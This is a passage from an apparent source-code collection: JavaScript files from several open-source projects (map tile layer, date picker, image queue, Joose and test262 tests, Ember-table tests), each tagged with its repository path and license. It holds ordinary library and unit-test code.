(this._animated) { map.off({ 'zoomanim': this._animateZoom, 'zoomend': this._endZoomAnim }, this); } if (!this.options.updateWhenIdle) { map.off('move', this._limitedUpdate, this); } this._container = null; this._map = null; }, bringToFront: function () { var pane = this._map._panes.tilePane; if (this._container) { pane.appendChild(this._container); this._setAutoZIndex(pane, Math.max); } return this; }, bringToBack: function () { var pane = this._map._panes.tilePane; if (this._container) { pane.insertBefore(this._container, pane.firstChild); this._setAutoZIndex(pane, Math.min); } return this; }, getAttribution: function () { return this.options.attribution; }, getContainer: function () { return this._container; }, setOpacity: function (opacity) { this.options.opacity = opacity; if (this._map) { this._updateOpacity(); } return this; }, setZIndex: function (zIndex) { this.options.zIndex = zIndex; this._updateZIndex(); return this; }, setUrl: function (url, noRedraw) { this._url = url; if (!noRedraw) { this.redraw(); } return this; }, redraw: function () { if (this._map) { this._reset({hard: true}); this._update(); } return this; }, _updateZIndex: function () { if (this._container && this.options.zIndex !== undefined) { this._container.style.zIndex = this.options.zIndex; } }, _setAutoZIndex: function (pane, compare) { var layers = pane.children, edgeZIndex = -compare(Infinity, -Infinity), // -Infinity for max, Infinity for min zIndex, i, len; for (i = 0, len = layers.length; i < len; i++) { if (layers[i] !== this._container) { zIndex = parseInt(layers[i].style.zIndex, 10); if (!isNaN(zIndex)) { edgeZIndex = compare(edgeZIndex, zIndex); } } } this.options.zIndex = this._container.style.zIndex = (isFinite(edgeZIndex) ? edgeZIndex : 0) + compare(1, -1); }, _updateOpacity: function () { var i, tiles = this._tiles; if (MA.Browser.ielt9) { // for (i in tiles) { // MA.DomUtil.setOpacity(tiles[i], this.options.opacity); // } } else { // MA.DomUtil.setOpacity(this._container, this.options.opacity); } }, _initContainer: function () { var tilePane = this._map._panes.tilePane; if (!this._container) { /* this._container = MA.DomUtil.create('div', 'leaflet-layer'); this._updateZIndex(); if (this._animated) { var className = 'leaflet-tile-container'; this._bgBuffer = MA.DomUtil.create('div', className, this._container); this._tileContainer = MA.DomUtil.create('div', className, this._container); } else { this._tileContainer = this._container; } tilePane.appendChild(this._container); if (this.options.opacity < 1) { this._updateOpacity(); } */ } }, _reset: function (e) { for (var key in this._tiles) { this.fire('tileunload', {tile: this._tiles[key]}); } this._tiles = {}; this._tilesToLoad = 0; if (this.options.reuseTiles) { this._unusedTiles = []; } this._tileContainer.innerHTML = ''; if (this._animated && e && e.hard) { this._clearBgBuffer(); } this._initContainer(); }, _getTileSize: function () { var map = this._map, zoom = map.getZoom() + this.options.zoomOffset, zoomN = this.options.maxNativeZoom, tileSize = this.options.tileSize; if (zoomN && zoom > zoomN) { tileSize = Math.round(map.getZoomScale(zoom) / map.getZoomScale(zoomN) * tileSize); } return tileSize; }, _update: function () { /* if (!this._map) { return; } var map = this._map, bounds = map.getPixelBounds(), zoom = map.getZoom(), tileSize = this._getTileSize(); if (zoom > this.options.maxZoom || zoom < this.options.minZoom) { return; } var tileBounds = MA.bounds( bounds.min.divideBy(tileSize)._floor(), bounds.max.divideBy(tileSize)._floor()); this._addTilesFromCenterOut(tileBounds); if (this.options.unloadInvisibleTiles || this.options.reuseTiles) { this._removeOtherTiles(tileBounds); } */ }, _addTilesFromCenterOut: function (bounds) { /* var queue = [], center = bounds.getCenter(); var j, i, point; for (j = bounds.min.y; j <= bounds.max.y; j++) { for (i = bounds.min.x; i <= bounds.max.x; i++) { point = new L.Point(i, j); if (this._tileShouldBeLoaded(point)) { queue.push(point); } } } var tilesToLoad = queue.length; if (tilesToLoad === 0) { return; } // load tiles in order of their distance to center queue.sort(function (a, b) { return a.distanceTo(center) - b.distanceTo(center); }); var fragment = document.createDocumentFragment(); // if its the first batch of tiles to load if (!this._tilesToLoad) { this.fire('loading'); } this._tilesToLoad += tilesToLoad; for (i = 0; i < tilesToLoad; i++) { this._addTile(queue[i], fragment); } this._tileContainer.appendChild(fragment); */ }, _tileShouldBeLoaded: function (tilePoint) { if ((tilePoint.x + ':' + tilePoint.y) in this._tiles) { return false; // already loaded } var options = this.options; if (!options.continuousWorld) { var limit = this._getWrapTileNum(); // don't load if exceeds world bounds if ((options.noWrap && (tilePoint.x < 0 || tilePoint.x >= limit.x)) || tilePoint.y < 0 || tilePoint.y >= limit.y) { return false; } } if (options.bounds) { var tileSize = options.tileSize, nwPoint = tilePoint.multiplyBy(tileSize), sePoint = nwPoint.add([tileSize, tileSize]), nw = this._map.unproject(nwPoint), se = this._map.unproject(sePoint); // TODO temporary hack, will be removed after refactoring projections // https://github.com/Leaflet/Leaflet/issues/1618 if (!options.continuousWorld && !options.noWrap) { nw = nw.wrap(); se = se.wrap(); } if (!options.bounds.intersects([nw, se])) { return false; } } return true; }, _removeOtherTiles: function (bounds) { var kArr, x, y, key; for (key in this._tiles) { kArr = key.split(':'); x = parseInt(kArr[0], 10); y = parseInt(kArr[1], 10); // remove tile if it's out of bounds if (x < bounds.min.x || x > bounds.max.x || y < bounds.min.y || y > bounds.max.y) { this._removeTile(key); } } }, _removeTile: function (key) { var tile = this._tiles[key]; this.fire('tileunload', {tile: tile, url: tile.src}); if (this.options.reuseTiles) { L.DomUtil.removeClass(tile, 'leaflet-tile-loaded'); this._unusedTiles.push(tile); } else if (tile.parentNode === this._tileContainer) { this._tileContainer.removeChild(tile); } // for https://github.com/CloudMade/Leaflet/issues/137 if (!L.Browser.android) { tile.onload = null; tile.src = L.Util.emptyImageUrl; } delete this._tiles[key]; }, _addTile: function (tilePoint, container) { var tilePos = this._getTilePos(tilePoint); // get unused tile - or create a new tile var tile = this._getTile(); /* Chrome 20 layouts much faster with top/left (verify with timeline, frames) Android 4 browser has display issues with top/left and requires transform instead (other browsers don't currently care) - see debug/hacks/jitter.html for an example */ MA.DomUtil.setPosition(tile, tilePos, L.Browser.chrome); this._tiles[tilePoint.x + ':' + tilePoint.y] = tile; this._loadTile(tile, tilePoint); if (tile.parentNode !== this._tileContainer) { container.appendChild(tile); } }, _getZoomForUrl: function () { var options = this.options, zoom = this._map.getZoom(); if (options.zoomReverse) { zoom = options.maxZoom - zoom; } zoom += options.zoomOffset; return options.maxNativeZoom ? Math.min(zoom, options.maxNativeZoom) : zoom; }, _getTilePos: function (tilePoint) { var origin = this._map.getPixelOrigin(), tileSize = this._getTileSize(); return tilePoint.multiplyBy(tileSize).subtract(origin); }, // image-specific code (override to implement e.g. Canvas or SVG tile layer) getTileUrl: function (tilePoint) { return MA.Util.template(this._url, MA.extend({ s: this._getSubdomain(tilePoint), z: tilePoint.z, x: tilePoint.x, y: tilePoint.y }, this.options)); }, _getWrapTileNum: function () { var crs = this._map.options.crs, size = crs.getSize(this._map.getZoom()); return size.divideBy(this._getTileSize())._floor(); }, _adjustTilePoint: function (tilePoint) { var limit = this._getWrapTileNum(); // wrap tile coordinates if (!this.options.continuousWorld && !this.options.noWrap) { tilePoint.x = ((tilePoint.x % limit.x) + limit.x) % limit.x; } if (this.options.tms) { tilePoint.y = limit.y - tilePoint.y - 1; } tilePoint.z = this._getZoomForUrl(); }, _getSubdomain: function (tilePoint) { var index = Math.abs(tilePoint.x + tilePoint.y) % this.options.subdomains.length; return this.options.subdomains[index]; }, _getTile: function () { if (this.options.reuseTiles && this._unusedTiles.length > 0) { var tile = this._unusedTiles.pop(); this._resetTile(tile); return tile; } return this._createTile(); }, // Override if data stored on a tile needs to be cleaned up before reuse _resetTile: function (/*tile*/) {}, _createTile: function () { var tile = MA.DomUtil.create('img', 'leaflet-tile'); tile.style.width = tile.style.height = this._getTileSize() + 'px'; tile.galleryimg = 'no'; tile.onselectstart = tile.onmousemove =MAL.Util.falseFn; if (MA.Browser.ielt9 && this.options.opacity !== undefined) { MA.DomUtil.setOpacity(tile, this.options.opacity); } // without this hack, tiles disappear after zoom on Chrome for Android // https://github.com/Leaflet/Leaflet/issues/2078 if (MA.Browser.mobileWebkit3d) { tile.style.WebkitBackfaceVisibility = 'hidden'; } return tile; }, _loadTile: function (tile, tilePoint) { tile._layer = this; tile.onload = this._tileOnLoad; tile.onerror = this._tileOnError; this._adjustTilePoint(tilePoint); tile.src = this.getTileUrl(tilePoint); this.fire('tileloadstart', { tile: tile, url: tile.src }); }, _tileLoaded: function () { this._tilesToLoad--; if (this._animated) { MA.DomUtil.addClass(this._tileContainer, 'leaflet-zoom-animated'); } if (!this._tilesToLoad) { this.fire('load'); if (this._animated) { // clear scaled tiles after all new tiles are loaded (for performance) clearTimeout(this._clearBgBufferTimer); this._clearBgBufferTimer = setTimeout(MA.bind(this._clearBgBuffer, this), 500); } } }, _tileOnLoad: function () { var layer = this._layer; //Only if we are loading an actual image if (this.src !== MA.Util.emptyImageUrl) { MA.DomUtil.addClass(this, 'leaflet-tile-loaded'); layer.fire('tileload', { tile: this, url: this.src }); } layer._tileLoaded(); }, _tileOnError: function () { var layer = this._layer; layer.fire('tileerror', { tile: this, url: this.src }); var newUrl = layer.options.errorTileUrl; if (newUrl) { this.src = newUrl; } layer._tileLoaded(); } }); MA.tileLayer = function (url, options) { return new MA.TileLayer(url, options); }; MA.Control = MA.Class.extend({ options: { position: 'topright' }, initialize: function (options) { L.setOptions(this, options); }, getContainer: function () { return this._container; }, }); MA.control = function (options) { return new MA.Control(options); }; MA.DomUtil = { create: function (tagName, className, container) { var el = document.createElement(tagName); el.className = className; if (container) { container.appendChild(el); } return el; }, addClass: function (el, name) { if (el.classList !== undefined) { var classes = MA.Util.splitWords(name); for (var i = 0, len = classes.length; i < len; i++) { el.classList.add(classes[i]); } } else if (!MA.DomUtil.hasClass(el, name)) { var className = MA.DomUtil._getClass(el); MA.DomUtil._setClass(el, (className ? className + ' ' : '') + name); } }, _setClass: function (el, name) { if (el.className.baseVal === undefined) { el.className = name; } else { // in case of SVG element el.className.baseVal = name; } }, _getClass: function (el) { return el.className.baseVal === undefined ? el.className : el.className.baseVal; }, hasClass: function (el, name) { if (el.classList !== undefined) { return el.classList.contains(name); } var className = MA.DomUtil._getClass(el); return className.length > 0 && new RegExp('(^|\\s)' + name + '(\\s|$)').test(className); }, };
frogcat/gsimaps
globe/resource/ma.js
JavaScript
bsd-2-clause
23,608
// Copyright (C) 2016 the V8 project authors. All rights reserved. // This code is governed by the BSD license found in the LICENSE file. /*--- esid: sec-integer-indexed-exotic-objects-defineownproperty-p-desc description: > Set the value and return true info: | 9.4.5.3 [[DefineOwnProperty]] ( P, Desc) ... 3. If Type(P) is String, then a. Let numericIndex be ! CanonicalNumericIndexString(P). b. If numericIndex is not undefined, then ... xi. If Desc has a [[Value]] field, then 1. Let value be Desc.[[Value]]. 2. Return ? IntegerIndexedElementSet(O, intIndex, value). ... IntegerIndexedElementSet ( O, index, value ) Assert: O is an Integer-Indexed exotic object. If O.[[ContentType]] is BigInt, let numValue be ? ToBigInt(value). Otherwise, let numValue be ? ToNumber(value). Let buffer be O.[[ViewedArrayBuffer]]. If IsDetachedBuffer(buffer) is false and ! IsValidIntegerIndex(O, index) is true, then Let offset be O.[[ByteOffset]]. Let arrayTypeName be the String value of O.[[TypedArrayName]]. Let elementSize be the Element Size value specified in Table 62 for arrayTypeName. Let indexedPosition be (ℝ(index) × elementSize) + offset. Let elementType be the Element Type value in Table 62 for arrayTypeName. Perform SetValueInBuffer(buffer, indexedPosition, elementType, numValue, true, Unordered). Return NormalCompletion(undefined). includes: [testBigIntTypedArray.js] features: [BigInt, Reflect, TypedArray] ---*/ testWithBigIntTypedArrayConstructors(function(TA) { var sample = new TA([0n, 0n]); assert.sameValue( Reflect.defineProperty(sample, "0", {value: 1n}), true, "set value for sample[0] returns true" ); assert.sameValue( Reflect.defineProperty(sample, "1", {value: 2n}), true, "set value for sample[1] returns true" ); assert.sameValue(sample[0], 1n, "sample[0]"); assert.sameValue(sample[1], 2n, "sample[1]"); });
sebastienros/jint
Jint.Tests.Test262/test/built-ins/TypedArrayConstructors/internals/DefineOwnProperty/BigInt/set-value.js
JavaScript
bsd-2-clause
1,967
define([ "dojo/_base/array", "dojo/_base/declare", "dojo/dom-class", "./_DatePickerMixin", "./SpinWheel", "./SpinWheelSlot" ], function(array, declare, domClass, DatePickerMixin, SpinWheel, SpinWheelSlot){ // module: // dojox/mobile/SpinWheelDatePicker return declare("dojox.mobile.SpinWheelDatePicker", [SpinWheel, DatePickerMixin], { // summary: // A SpinWheel-based date picker widget. // description: // SpinWheelDatePicker is a date picker widget. It is a subclass of // dojox/mobile/SpinWheel. It has three slots: year, month, and day. slotClasses: [ SpinWheelSlot, SpinWheelSlot, SpinWheelSlot ], slotProps: [ {labelFrom:1970, labelTo:2038}, {}, {} ], buildRendering: function(){ this.initSlots(); this.inherited(arguments); domClass.add(this.domNode, "mblSpinWheelDatePicker"); this._conn = [ this.connect(this.slots[0], "onFlickAnimationEnd", "onYearSet"), this.connect(this.slots[1], "onFlickAnimationEnd", "onMonthSet"), this.connect(this.slots[2], "onFlickAnimationEnd", "onDaySet") ]; }, disableValues: function(/*Number*/nDays){ // summary: // Makes the specified items grayed out. array.forEach(this.slots[2].panelNodes, function(panel){ for(var i = 27; i < 31; i++){ domClass.toggle(panel.childNodes[i], "mblSpinWheelSlotLabelGray", i >= nDays); } }); } }); });
kitsonk/expo
src/dojox/mobile/SpinWheelDatePicker.js
JavaScript
bsd-3-clause
1,395
// ========================================================================== // Project: SproutCore - JavaScript Application Framework // Copyright: ©2006-2011 Strobe Inc. and contributors. // Portions ©2008-2011 Apple Inc. All rights reserved. // License: Licensed under MIT license (see license.js) // ========================================================================== SC.IMAGE_ABORTED_ERROR = SC.$error("SC.Image.AbortedError", "Image", -100) ; SC.IMAGE_FAILED_ERROR = SC.$error("SC.Image.FailedError", "Image", -101) ; /** @class The image queue can be used to control the order of loading images. Images queues are necessary because browsers impose strict limits on the number of concurrent connections that can be open at any one time to any one host. By controlling the order and timing of your loads using this image queue, you can improve the percieved performance of your application by ensuring the images you need most load first. Note that if you use the SC.ImageView class, it will use this image queue for you automatically. ## Loading Images When you need to display an image, simply call the loadImage() method with the URL of the image, along with a target/method callback. The signature of your callback should be: imageDidLoad: function(imageUrl, imageOrError) { //... } The "imageOrError" parameter will contain either an image object or an error object if the image could not be loaded for some reason. If you receive an error object, it will be one of SC.IMAGE_ABORTED_ERROR or SC.IMAGE_FAILED_ERROR. You can also optionally specify that the image should be loaded in the background. Background images are loaded with a lower priority than foreground images. ## Aborting Image Loads If you request an image load but then no longer require the image for some reason, you should notify the imageQueue by calling the releaseImage() method. Pass the URL, target and method that you included in your original loadImage() request. If you have requested an image before, you should always call releaseImage() when you are finished with it, even if the image has already loaded. This will allow the imageQueue to properly manage its own internal resources. This method may remove the image from the queue of images that need or load or it may abort an image load in progress to make room for other images. If the image is already loaded, this method will have no effect. ## Reloading an Image If you have already loaded an image, the imageQueue will avoid loading the image again. However, if you need to force the imageQueue to reload the image for some reason, you can do so by calling reloadImage(), passing the URL. This will cause the image queue to attempt to load the image again the next time you call loadImage on it. @extends SC.Object @since SproutCore 1.0 */ SC.imageQueue = SC.Object.create(/** @scope SC.imageQueue.prototype */ { /** The maximum number of images that can load from a single hostname at any one time. For most browsers 4 is a reasonable number, though you may tweak this on a browser-by-browser basis. */ loadLimit: 4, /** The number of currently active requests on the queue. */ activeRequests: 0, /** Loads an image from the server, calling your target/method when complete. You should always pass at least a URL and optionally a target/method. If you do not pass the target/method, the image will be loaded in background priority. Usually, however, you will want to pass a callback to be notified when the image has loaded. Your callback should have a signature like: imageDidLoad: function(imageUrl, imageOrError) { .. } If you do pass a target/method you can optionally also choose to load the image either in the foreground or in the background. The imageQueue prioritizes foreground images over background images. This does not impact how many images load at one time. @param {String} url @param {Object} target @param {String|Function} method @param {Boolean} isBackgroundFlag @returns {SC.imageQueue} receiver */ loadImage: function(url, target, method, isBackgroundFlag) { // normalize params var type = SC.typeOf(target); if (SC.none(method) && SC.typeOf(target)===SC.T_FUNCTION) { target = null; method = target ; } if (SC.typeOf(method) === SC.T_STRING) { method = target[method]; } // if no callback is passed, assume background image. otherwise, assume // foreground image. if (SC.none(isBackgroundFlag)) { isBackgroundFlag = SC.none(target) && SC.none(method); } // get image entry in queue. If entry is loaded, just invoke callback // and quit. var entry = this._imageEntryFor(url) ; if (entry.status === this.IMAGE_LOADED) { if (method) method.call(target || entry.image, entry.url, entry.image); // otherwise, add to list of callbacks and queue image. } else { if (target || method) this._addCallback(entry, target, method); entry.retainCount++; // increment retain count, regardless of callback this._scheduleImageEntry(entry, isBackgroundFlag); } }, /** Invoke this method when you are finished with an image URL. If you passed a target/method, you should also pass it here to remove it from the list of callbacks. @param {String} url @param {Object} target @param {String|Function} method @returns {SC.imageQueue} receiver */ releaseImage: function(url, target, method) { // get entry. if there is no entry, just return as there is nothing to // do. var entry = this._imageEntryFor(url, NO) ; if (!entry) return this ; // there is an entry, decrement the retain count. If <=0, delete! if (--entry.retainCount <= 0) { this._deleteEntry(entry); // if >0, just remove target/method if passed } else if (target || method) { // normalize var type = SC.typeOf(target); if (SC.none(method) && SC.typeOf(target)===SC.T_FUNCTION) { target = null; method = target ; } if (SC.typeOf(method) === SC.T_STRING) { method = target[method]; } // and remove this._removeCallback(entry, target, method) ; } }, /** Forces the image to reload the next time you try to load it. */ reloadImage: function(url) { var entry = this._imageEntryFor(url, NO); if (entry && entry.status===this.IMAGE_LOADED) { entry.status = this.IMAGE_WAITING; } }, /** Initiates a load of the next image in the image queue. Normally you will not need to call this method yourself as it will be initiated automatically when the queue becomes active. */ loadNextImage: function() { var entry = null, queue; // only run if we don't have too many active request... if (this.get('activeRequests')>=this.get('loadLimit')) return; // first look in foreground queue queue = this._foregroundQueue ; while(queue.length>0 && !entry) entry = queue.shift(); // then look in background queue if (!entry) { queue = this._backgroundQueue ; while(queue.length>0 && !entry) entry = queue.shift(); } this.set('isLoading', !!entry); // update isLoading... // if we have an entry, then initiate an image load with the proper // callbacks. if (entry) { // var img = (entry.image = new Image()) ; var img = entry.image ; if(!img) return; // Using bind here instead of setting onabort/onerror/onload directly // fixes an issue with images having 0 width and height $(img).bind('abort', this._imageDidAbort); $(img).bind('error', this._imageDidError); $(img).bind('load', this._imageDidLoad); img.src = entry.url ; // add to loading queue. this._loading.push(entry) ; // increment active requests and start next request until queue is empty // or until load limit is reached. this.incrementProperty('activeRequests'); this.loadNextImage(); } }, // .......................................................... // SUPPORT METHODS // /** @private Find or create an entry for the URL. */ _imageEntryFor: function(url, createIfNeeded) { if (createIfNeeded === undefined) createIfNeeded = YES; var entry = this._images[url] ; if (!entry && createIfNeeded) { var img = new Image() ; entry = this._images[url] = { url: url, status: this.IMAGE_WAITING, callbacks: [], retainCount: 0, image: img }; img.entry = entry ; // provide a link back to the image } else if (entry && entry.image === null) { // Ensure that if we retrieve an entry that it has an associated Image, // since failed/aborted images will have had their image property nulled. entry.image = new Image(); entry.image.entry = entry; } return entry ; }, /** @private deletes an entry from the image queue, descheduling also */ _deleteEntry: function(entry) { this._unscheduleImageEntry(entry) ; delete this._images[entry.url]; }, /** @private Add a callback to the image entry. First search the callbacks to make sure this is only added once. */ _addCallback: function(entry, target, method) { var callbacks = entry.callbacks; // try to find in existing array var handler = callbacks.find(function(x) { return x[0]===target && x[1]===method; }, this); // not found, add... if (!handler) callbacks.push([target, method]); callbacks = null; // avoid memory leaks return this ; }, /** @private Removes a callback from the image entry. Removing a callback just nulls out that position in the array. It will be skipped when executing. */ _removeCallback: function(entry, target, method) { var callbacks = entry.callbacks ; callbacks.forEach(function(x, idx) { if (x[0]===target && x[1]===method) callbacks[idx] = null; }, this); callbacks = null; // avoid memory leaks return this ; }, /** @private Adds an entry to the foreground or background queue to load. If the loader is not already running, start it as well. If the entry is in the queue, but it is in the background queue, possibly move it to the foreground queue. */ _scheduleImageEntry: function(entry, isBackgroundFlag) { var background = this._backgroundQueue ; var foreground = this._foregroundQueue ; // if entry is loaded, nothing to do... if (entry.status === this.IMAGE_LOADED) return this; // if image is already in background queue, but now needs to be // foreground, simply remove from background queue.... if ((entry.status===this.IMAGE_QUEUED) && !isBackgroundFlag && entry.isBackground) { background[background.indexOf(entry)] = null ; entry.status = this.IMAGE_WAITING ; } // if image is not in queue already, add to queue. if (entry.status!==this.IMAGE_QUEUED) { var queue = (isBackgroundFlag) ? background : foreground ; queue.push(entry); entry.status = this.IMAGE_QUEUED ; entry.isBackground = isBackgroundFlag ; } // if the image loader is not already running, start it... if (!this.isLoading) this.invokeLater(this.loadNextImage, 100); this.set('isLoading', YES); return this ; // done! }, /** @private Removes an entry from the foreground or background queue. */ _unscheduleImageEntry: function(entry) { // if entry is not queued, do nothing if (entry.status !== this.IMAGE_QUEUED) return this ; var queue = entry.isBackground ? this._backgroundQueue : this._foregroundQueue ; queue[queue.indexOf(entry)] = null; // if entry is loading, abort it also. Call local abort method in-case // browser decides not to follow up. if (this._loading.indexOf(entry) >= 0) { // In some cases queue.image is undefined. Is it ever defined? if (queue.image) queue.image.abort(); this.imageStatusDidChange(entry, this.ABORTED); } return this ; }, /** @private invoked by Image(). Note that this is the image instance */ _imageDidAbort: function() { SC.run(function() { SC.imageQueue.imageStatusDidChange(this.entry, SC.imageQueue.ABORTED); }, this); }, _imageDidError: function() { SC.run(function() { SC.imageQueue.imageStatusDidChange(this.entry, SC.imageQueue.ERROR); }, this); }, _imageDidLoad: function() { SC.run(function() { SC.imageQueue.imageStatusDidChange(this.entry, SC.imageQueue.LOADED); }, this); }, /** @private called whenever the image loading status changes. Notifies items in the queue and then cleans up the entry. */ imageStatusDidChange: function(entry, status) { if (!entry) return; // nothing to do... var url = entry.url ; // notify handlers. var value ; switch(status) { case this.LOADED: value = entry.image; break; case this.ABORTED: value = SC.IMAGE_ABORTED_ERROR; break; case this.ERROR: value = SC.IMAGE_FAILED_ERROR ; break; default: value = SC.IMAGE_FAILED_ERROR ; break; } entry.callbacks.forEach(function(x){ var target = x[0], method = x[1]; method.call(target, url, value); },this); // now clear callbacks so they aren't called again. entry.callbacks = []; // finally, if the image loaded OK, then set the status. Otherwise // set it to waiting so that further attempts will load again entry.status = (status === this.LOADED) ? this.IMAGE_LOADED : this.IMAGE_WAITING ; // now cleanup image... var image = entry.image ; if (image) { image.onload = image.onerror = image.onabort = null ; // no more notices if (status !== this.LOADED) entry.image = null; } // remove from loading queue and periodically compact this._loading[this._loading.indexOf(entry)]=null; if (this._loading.length > this.loadLimit*2) { this._loading = this._loading.compact(); } this.decrementProperty('activeRequests'); this.loadNextImage() ; }, init: function() { sc_super(); this._images = {}; this._loading = [] ; this._foregroundQueue = []; this._backgroundQueue = []; }, IMAGE_LOADED: "loaded", IMAGE_QUEUED: "queued", IMAGE_WAITING: "waiting", ABORTED: 'aborted', ERROR: 'error', LOADED: 'loaded' });
darkrsw/safe
tests/clone_detector_tests/sproutcore/frameworks/foundation/system/image_queue.js
JavaScript
bsd-3-clause
14,850
plan(60) Role("Eq", { requires: "equalTo", methods: { notEqualTo: function (other) { return !this.equalTo(other) } } }) Role("Comparable", { requires: "compare", does: Eq, methods: { equalTo: function (other) { return this.compare(other) == 0 }, greaterThan: function (other) { return this.compare(other) == 1 }, lessThan: function (other) { return this.compare(other) == -1 }, greaterThanOrEqualTo: function (other) { return this.greaterThan(other) || this.equalTo(other) }, lessThanOrEqualTo: function (other) { return this.lessThan(other) || this.equalTo(other) } } }) Role("Printable", { requires: "stringify" }) Module("US", function () { Class("Currency", { does: [Comparable, Printable], has: { amount: { is: rw, init: 0 } }, methods: { compare: function (other) { if(this.getAmount() == other.getAmount()) return 0 if(this.getAmount() > other.getAmount()) return 1 return -1 }, stringify: function () { return ""+this.getAmount()+" USD" } } }) }) ok(US.Currency.meta.does(Comparable), '... US.Currency does Comparable'); ok(US.Currency.meta.does(Eq), '... US.Currency does Eq'); ok(US.Currency.meta.does(Printable), '... US.Currency does Printable'); var hundred = new US.Currency({amount: 100.00}); isaOk(hundred, US.Currency); canOk(hundred, 'getAmount'); isEq(hundred.getAmount(), 100, '... got the right amount'); canOk(hundred, 'toString'); isEq(hundred.toString(), '100 USD', '... got the right stringified value'); ok(hundred.meta.does(Comparable), '... US.Currency does Comparable'); ok(hundred.meta.does(Eq), '... US.Currency does Eq'); ok(hundred.meta.does(Printable), '... US.Currency does Printable'); var fifty = new US.Currency({amount: 50.00}); isaOk(fifty, US.Currency); canOk(fifty, 'getAmount'); isEq(fifty.getAmount(), 50, '... got the right amount'); canOk(fifty, 'stringify'); canOk(fifty, 'toString'); isEq(fifty.toString(), '50 USD', '... got the right stringified value'); ok(hundred.greaterThan(fifty), '... 100 gt 50'); ok(hundred.greaterThanOrEqualTo(fifty), '... 100 ge 50'); ok(!hundred.lessThan(fifty), '... !100 lt 50'); ok(!hundred.lessThanOrEqualTo(fifty), '... !100 le 50'); ok(!hundred.equalTo(fifty), '... !100 eq 50'); ok(hundred.notEqualTo(fifty), '... 100 ne 50'); ok(!fifty.greaterThan(hundred), '... !50 gt 100'); ok(!fifty.greaterThanOrEqualTo(hundred), '... !50 ge 100'); ok(fifty.lessThan(hundred), '... 50 lt 100'); ok(fifty.lessThanOrEqualTo(hundred), '... 50 le 100'); ok(!fifty.equalTo(hundred), '... !50 eq 100'); ok(fifty.notEqualTo(hundred), '... 50 ne 100'); ok(!fifty.greaterThan(fifty), '... !50 gt 50'); ok(fifty.greaterThanOrEqualTo(fifty), '... !50 ge 50'); ok(!fifty.lessThan(fifty), '... 50 lt 50'); ok(fifty.lessThanOrEqualTo(fifty), '... 50 le 50'); ok(fifty.equalTo(fifty), '... 50 eq 50'); ok(!fifty.notEqualTo(fifty), '... !50 ne 50'); // ... check some meta-stuff // Eq var eqMeta = Eq.meta; isaOk(eqMeta, Joose.Role); ok(eqMeta.hasMethod('notEqualTo'), '... Eq hasMethod not_equalTo'); ok(eqMeta.requiresMethod('equalTo'), '... Eq requiresMethod not_equalTo'); // Comparable var comparableMeta = Comparable.meta; isaOk(comparableMeta, Joose.Role); ok(comparableMeta.does(Eq), '... Comparable does Eq'); Joose.A.each(["equalTo", "notEqualTo", "greaterThan", "greaterThanOrEqualTo", "lessThan", "lessThanOrEqualTo"], function (methodName) { ok(comparableMeta.hasMethod(methodName), "Comparable has method "+methodName) }) ok(comparableMeta.requiresMethod('compare'), '... Comparable requiresMethod compare'); // Printable var printableMeta = Printable.meta; isaOk(printableMeta, Joose.Role); ok(printableMeta.requiresMethod('stringify'), '... Printable requiresMethod toString'); // US.Currency var currencyMeta = US.Currency.meta; isaOk(currencyMeta, Joose.Class); ok(currencyMeta.does(Comparable), '... US.Currency does Comparable'); ok(currencyMeta.does(Eq), '... US.Currency does Eq'); ok(currencyMeta.does(Printable), '... US.Currency does Printable'); Joose.A.each(["toString", "equalTo", "notEqualTo", "greaterThan", "greaterThanOrEqualTo", "lessThan", "lessThanOrEqualTo"], function (methodName) { ok(currencyMeta.hasMethod(methodName), "US.Currency has method "+methodName) }) endTests()
erpframework/joose-js
tests/cookbook/06_recipe6_the_role_example.js
JavaScript
bsd-3-clause
4,847
_<>_print((new RegExp("a|bc")).toString()) _<>_print((new RegExp("/")).toString()) _<>_print((new RegExp("a", "g")).toString()) _<>_print((new RegExp("a", "i")).toString()) _<>_print((new RegExp("a", "m")).toString()) _<>_print((new RegExp("a", "mig")).toString()) "PASS"
darkrsw/safe
tests/interpreter_tests/regexp-02.js
JavaScript
bsd-3-clause
272
import Ember from 'ember'; import { test } from 'ember-qunit'; import moduleForEmberTable from '../../helpers/module-for-ember-table'; import EmberTableFixture from '../../fixture/ember-table'; import GroupedRowDataProvider from '../../fixture/grouped-row-data-provider'; moduleForEmberTable('Unit | Components | expand to arbitrary level', function (options) { return EmberTableFixture.create({ height: options.height, groupMeta: GroupedRowDataProvider.create({ chunkSize: 2, totalCount: 2, groupingMetadata: [{id: 'accountSection'}, {id: 'accountType'}, {id: 'accountCode'}] }) }); }); test('expand to level 1', function (assert) { var component = this.subject({height: 1000}); this.render(); component.expandToLevel(1); return component.ready(() => { assert.deepEqual(component.cellsContent(2, [0]), [ ["as-1"], ["as-2"] ], "should expand to level 1 on init."); }); }); test('expand to level 2', function (assert) { var component = this.subject({height: 1000}); this.render(); component.expandToLevel(2); return component.ready(() => { assert.deepEqual(component.cellsContent(6, [0]), [ ["as-1"], ["at-102"], ["at-101"], ["as-2"], ["at-201"], ["at-202"] ], "all level 1 rows should be expanded."); }); }); test('expand to level 3', function (assert) { var component = this.subject({height: 1000}); this.render(); component.expandToLevel(3); return component.ready(() => { assert.deepEqual(component.cellsContent(14, [0]), [ ["as-1"], ["at-102"], ["ac-1003"], ["ac-1005"], ["at-101"], ["ac-1001"], ["ac-1002"], ["as-2"], ["at-201"], ["ac-2001"], ["ac-2002"], ["at-202"], ["ac-2001"], ["ac-2002"] ], "all level 1,2 rows should be expanded."); }); }); test('expand to level 3 then scroll down', function (assert) { var component = this.subject({height: 150}); this.render(); component.expandToLevel(3); component.scrollRows(6); return component.ready(() => { assert.deepEqual(component.cellsContent(4, [0]), [ ["ac-1002"], ["as-2"], ["at-201"], ["ac-2001"] ], "rows should be auto expanded."); }); }); test('collapse to level 1', function (assert) { var component = this.subject({height: 1000}); this.render(); component.expandToLevel(3); component.expandToLevel(1); return component.ready(() => { assert.deepEqual(component.cellsContent(2, [0]), [ ["as-1"], ["as-2"] ], "should collapse to level 1."); }); }); test('collapse to level 2', function (assert) { var component = this.subject({height: 1000}); this.render(); component.expandToLevel(3); component.expandToLevel(2); return component.ready(() => { assert.deepEqual(component.cellsContent(6, [0]), [ ["as-1"], ["at-102"], ["at-101"], ["as-2"], ["at-201"], ["at-202"] ], "should collapse to level 2."); }); }); test('expand to level 3 and collapse to level 2 and expand to level 3', function (assert) { var component = this.subject({height: 1000}); this.render(); component.expandToLevel(3); component.expandToLevel(2); component.expandToLevel(3); return component.ready(() => { assert.deepEqual(component.cellsContent(14, [0]), [ 